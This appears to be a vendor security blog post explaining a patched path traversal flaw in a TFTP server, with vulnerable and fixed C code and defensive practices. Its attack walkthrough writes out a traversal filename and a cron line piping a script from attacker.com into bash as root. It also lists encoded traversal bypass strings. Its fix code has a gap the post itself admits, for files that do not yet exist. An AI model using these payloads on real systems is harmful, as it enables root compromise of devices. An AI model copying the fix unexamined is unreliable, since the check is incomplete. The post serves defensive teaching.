Path Traversal in TFTP Server: How Directory Traversal Bugs Enable Arbitrary File Writes
Vulnerability ID: V-001 | Severity: š“ CRITICAL | CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Introduction
Imagine handing someone a key to a storage room and telling them they can only access shelf number three ā but you never actually checked whether they could use that key to open every other room in the building. That's essentially what a path traversal vulnerability does in software.
A critical security flaw was recently identified and patched in tqftpserv.c, a TFTP (Trivial File Transfer Protocol) server implementation. The vulnerability allowed an unauthenticated attacker to supply a maliciously crafted filename in a write request and use directory traversal sequences to write arbitrary content to any location on the filesystem accessible to the service process.
For developers working on embedded systems, firmware update servers, network services, or anything that handles file paths derived from user input ā this is a vulnerability pattern you need to understand deeply. It's deceptively simple, devastatingly impactful, and surprisingly common.
The Vulnerability Explained
What Is Path Traversal?
Path traversal (also known as directory traversal) is a class of vulnerability where an application uses user-controlled input to construct a filesystem path without properly validating or sanitizing it. By injecting special sequences like ../ (dot-dot-slash), an attacker can "climb" out of the intended directory and access or modify files elsewhere on the system.
In this case, the TFTP server was designed to handle firmware write requests (WRQ) from clients. The server would receive a filename from the client and use it ā without validation ā to determine where to write the incoming data.
The Technical Details
The vulnerability existed across two files:
tqftpserv.c(line 537): Processed incoming WRQ (Write Request) packets without validating or canonicalizing the requested filename.translate.c: Performed unsanitized path concatenation, directly joining a base directory with the client-supplied filename string.
Here's a conceptual illustration of what the vulnerable code pattern looked like:
// VULNERABLE - Conceptual example of the flawed pattern
void handle_wrq(int sock, struct sockaddr *client, char *filename) {
char filepath[PATH_MAX];
// ā Directly concatenating user-supplied filename with no validation
snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);
// ā No check that the resolved path stays within BASE_DIR
// ā No canonicalization of the path
// ā No authorization check for the requesting client
FILE *fp = fopen(filepath, "wb");
// ... write received data to fp
}
And in translate.c, the path building looked something like:
// VULNERABLE - Unsanitized path construction
char *build_path(const char *base, const char *requested) {
char *result = malloc(strlen(base) + strlen(requested) + 2);
// ā No canonicalization, no traversal detection
sprintf(result, "%s/%s", base, requested);
return result;
}
How Could It Be Exploited?
TFTP is a simple, UDP-based protocol with no built-in authentication. A client sends a WRQ packet containing the filename it wants to write. In this implementation, that filename was passed directly into the path construction logic.
An attacker on the network could send a WRQ request with a filename like:
../../etc/cron.d/malicious_job
Or more dangerously on embedded/IoT devices:
../../etc/passwd
../../etc/shadow
../../lib/firmware/device_fw.bin
../../etc/init.d/startup_script
Because the path was never canonicalized or validated to remain within the intended base directory, the server would happily resolve BASE_DIR/../../etc/passwd to /etc/passwd and begin writing attacker-controlled content to that file.
Three Compounding Problems
What made this vulnerability particularly severe was the combination of three missing controls:
- No filename validation: The server accepted any string as a valid filename, including sequences like
../,..\\, or URL-encoded variants. - No path canonicalization: The constructed path was never resolved to its absolute form and checked against the allowed base directory.
- No authorization check: There was no mechanism to verify whether a given client was permitted to write firmware files at all.
Real-World Impact
The real-world impact of this vulnerability is severe, particularly in the context where TFTP servers are commonly deployed:
| Scenario | Impact |
|---|---|
| Embedded/IoT devices | Overwrite firmware, bootloader configs, or startup scripts to achieve persistent compromise |
| Network boot infrastructure | Replace PXE boot images to deliver malicious OS images to booting machines |
| Industrial control systems | Corrupt configuration files or PLCs firmware |
| General servers | Overwrite cron jobs, SSH authorized_keys, sudoers, or service configurations |
In the worst case, an attacker could achieve persistent remote code execution by overwriting an executable or configuration file that runs at system startup ā all without any authentication.
Attack Scenario Walkthrough
Let's walk through a realistic attack:
Target: A network appliance running this TFTP server for firmware updates, where the service runs as root (common in embedded environments).
Attacker position: Same network segment (or any network if the TFTP port is exposed).
Step 1: Attacker sends a WRQ packet:
WRQ "../../etc/cron.d/backdoor" mode octet
Step 2: Server constructs path:
/var/tftp/firmware/../../etc/cron.d/backdoor
ā resolves to: /etc/cron.d/backdoor
Step 3: Attacker sends data blocks containing:
* * * * * root curl http://attacker.com/payload.sh | bash
Step 4: Within one minute, the cron daemon executes the attacker's payload as root.
Total time: Under 60 seconds. No credentials required.
The Fix
The patch addressed this vulnerability by introducing two critical controls in tqftpserv.c and translate.c:
1. Path Canonicalization and Jail Check
The fix uses realpath() (or an equivalent) to resolve the full, canonical path of the requested file before opening it, then verifies that the resolved path starts with the expected base directory:
// FIXED - Path validation with canonicalization
int handle_wrq(int sock, struct sockaddr *client, char *filename) {
char filepath[PATH_MAX];
char resolved[PATH_MAX];
// Step 1: Construct the candidate path
snprintf(filepath, sizeof(filepath), "%s/%s", BASE_DIR, filename);
// Step 2: Resolve to canonical absolute path
// realpath() resolves all symlinks, . and .. components
if (realpath(filepath, resolved) == NULL) {
// Path doesn't exist yet ā resolve the parent directory instead
// and reconstruct carefully
log_error("Failed to resolve path: %s", filepath);
return -1;
}
// Step 3: Verify the resolved path is within BASE_DIR
// ā
This is the critical check that prevents traversal
if (strncmp(resolved, BASE_DIR, strlen(BASE_DIR)) != 0) {
log_warning("Path traversal attempt detected: %s -> %s",
filename, resolved);
send_error(sock, client, EACCES, "Access denied");
return -1;
}
// Step 4: Now safe to open the file
FILE *fp = fopen(resolved, "wb");
if (!fp) {
send_error(sock, client, errno, "Cannot open file");
return -1;
}
// ... proceed with write
return 0;
}
2. Filename Sanitization in translate.c
The path construction in translate.c was updated to reject filenames containing traversal sequences before even attempting path construction:
// FIXED - Sanitized path construction
int is_safe_filename(const char *filename) {
// ā Reject empty filenames
if (!filename || strlen(filename) == 0) return 0;
// ā Reject absolute paths
if (filename[0] == '/') return 0;
// ā Reject traversal sequences
if (strstr(filename, "../") != NULL) return 0;
if (strstr(filename, "..\\") != NULL) return 0;
if (strcmp(filename, "..") == 0) return 0;
// ā Reject null bytes (path truncation attacks)
if (memchr(filename, '\0', strlen(filename) + 1) != filename + strlen(filename))
return 0;
return 1; // ā
Filename appears safe
}
char *build_path(const char *base, const char *requested) {
// ā
Validate before constructing
if (!is_safe_filename(requested)) {
log_warning("Rejected unsafe filename: %s", requested);
return NULL;
}
char *result = malloc(strlen(base) + strlen(requested) + 2);
if (!result) return NULL;
sprintf(result, "%s/%s", base, requested);
return result;
}
Why This Fix Works
The defense is layered ā which is exactly how security controls should be applied:
- Layer 1 (translate.c): Reject obviously malicious filenames early, before any filesystem operations occur. This is fast and catches the most common attack patterns.
- Layer 2 (tqftpserv.c): Even if a traversal sequence somehow slips through (e.g., encoded variants, symlink-based attacks), the canonical path is resolved and verified against the base directory. This is the definitive check.
The combination ensures that even if an attacker finds a way to bypass the string-based check in Layer 1, Layer 2 will catch the actual filesystem-level traversal.
ā ļø Important Note on
realpath(): When the target file doesn't yet exist (which is common for write requests),realpath()will fail. The fix should handle this by resolving the parent directory canonically and then appending only the basename of the requested file ā ensuring both that the parent is within bounds and that the final filename component contains no path separators.
Prevention & Best Practices
Core Principles for Safe File Path Handling
1. Never trust user-supplied path components
Treat any filename or path that comes from a network client, user input, environment variable, or configuration file as untrusted. Always validate before use.
2. Use allowlists, not denylists
The sanitization function above uses a denylist (blocking ../, /, etc.). While this is a good first layer, it's inherently incomplete ā there are many encoding tricks attackers use:
- URL encoding: %2e%2e%2f ā ../
- Double encoding: %252e%252e%252f
- Unicode: ..%c0%af (overlong UTF-8 slash)
- Null bytes: filename.txt\x00../../../etc/passwd
A stronger approach is to allowlist only the characters you expect in valid filenames:
int is_valid_filename_strict(const char *filename) {
if (!filename || strlen(filename) == 0) return 0;
if (strlen(filename) > 255) return 0; // Reasonable length limit
// ā
Only allow alphanumeric, hyphen, underscore, dot
// Adjust this regex/character set for your use case
for (const char *p = filename; *p; p++) {
if (!isalnum(*p) && *p != '-' && *p != '_' && *p != '.') {
return 0;
}
}
// ā
Disallow leading dots (hidden files / relative refs)
if (filename[0] == '.') return 0;
return 1;
}
3. Always canonicalize and verify
After constructing a path, always resolve it to its canonical form and verify it falls within your intended directory:
// The canonical path jail check ā always do this
int path_is_within_base(const char *base, const char *path) {
char canonical_base[PATH_MAX];
char canonical_path[PATH_MAX];
if (!realpath(base, canonical_base)) return 0;
if (!realpath(path, canonical_path)) return 0;
// Ensure base ends with / for prefix matching
size_t base_len = strlen(canonical_base);
if (canonical_base[base_len - 1] != '/') {
canonical_base[base_len] = '/';
canonical_base[base_len + 1] = '\0';
base_len++;
}
return strncmp(canonical_path, canonical_base, base_len) == 0;
}
4. Apply the Principle of Least Privilege
The TFTP server had no authorization check ā any client could write any file. Even after fixing path traversal, consider:
- Should all clients be able to write files, or only specific ones?
- Should the service run as a dedicated low-privilege user rather than root?
- Should write operations be limited to specific file extensions (e.g., .bin, .fw)?
5. Log and alert on suspicious activity
Even if an attack is blocked, you want to know about it:
if (!path_is_within_base(BASE_DIR, resolved_path)) {
// Log with enough context for forensics
log_security_event(
"PATH_TRAVERSAL_ATTEMPT",
"client=%s requested_file=%s resolved_path=%s",
client_addr_str, filename, resolved_path
);
send_error_response(client, EACCES);
return -1;
}
Tools and Techniques to Detect Path Traversal
| Tool/Technique | Type | Notes |
|---|---|---|
| CodeQL | Static Analysis | Excellent taint tracking for path traversal in C/C++, Java, Python |
| Semgrep | Static Analysis | Fast, customizable rules; many path traversal rules available |
| AFL++ / libFuzzer | Fuzzing | Feed malformed filenames; great for finding edge cases |
| OWASP ZAP | Dynamic Testing | Automated path traversal probes for web-exposed services |
| Burp Suite | Dynamic Testing | Manual + automated traversal testing for HTTP services |
| Valgrind/AddressSanitizer | Memory Safety | Catches buffer overflows that can accompany path bugs |
| chroot / containers | Runtime Defense | Even if traversal succeeds, limits filesystem access |
| seccomp / AppArmor | Runtime Defense | Restrict which filesystem paths the process can access at OS level |
Relevant Security Standards and References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- OWASP: Path Traversal: Comprehensive guide with examples
- OWASP Testing Guide - OTG-AUTHZ-001: Testing for path traversal
- NIST SP 800-123: Guide to General Server Security
- SEI CERT C Coding Standard - FIO02-C: Canonicalize path names from tainted sources
Conclusion
Path traversal vulnerabilities are a timeless class of bug ā they've been in the OWASP Top 10 for decades, yet they continue to appear in production code. The reason is simple: it's easy to write code that works without thinking about what happens when the input is adversarial.
The key takeaways from this vulnerability and its fix:
- User-supplied filenames are untrusted input ā always treat them that way, regardless of the protocol or context.
- Defense in depth works: The fix applied both early rejection (filename sanitization) and a definitive filesystem-level check (canonical path verification). Neither alone is sufficient.
- Missing authorization is a force multiplier: Path traversal combined with no access controls meant the attack required zero credentials and zero prior knowledge of the system.
- Least privilege limits blast radius: If the TFTP service ran as a dedicated user with access only to the firmware directory, even a successful traversal would have limited impact.
- Detection matters: Log suspicious path inputs. Blocked attacks are still valuable signals.
Security is not about writing perfect code ā it's about building systems that are hard to exploit even when individual components have flaws. Validate inputs early, enforce boundaries at the filesystem level, apply least privilege, and monitor for anomalies.
If you're building any service that handles file paths derived from external input ā whether it's a TFTP server, a web application, a build system, or an IoT firmware updater ā take 30 minutes today to audit how you construct and validate those paths. It might be the most valuable 30 minutes you spend this month.
This fix was identified and patched automatically by OrbisAI Security. Automated security scanning can catch these issues before they reach production ā consider integrating security scanning into your CI/CD pipeline.
Have questions about path traversal or secure file handling? Drop a comment below or reach out to our security team.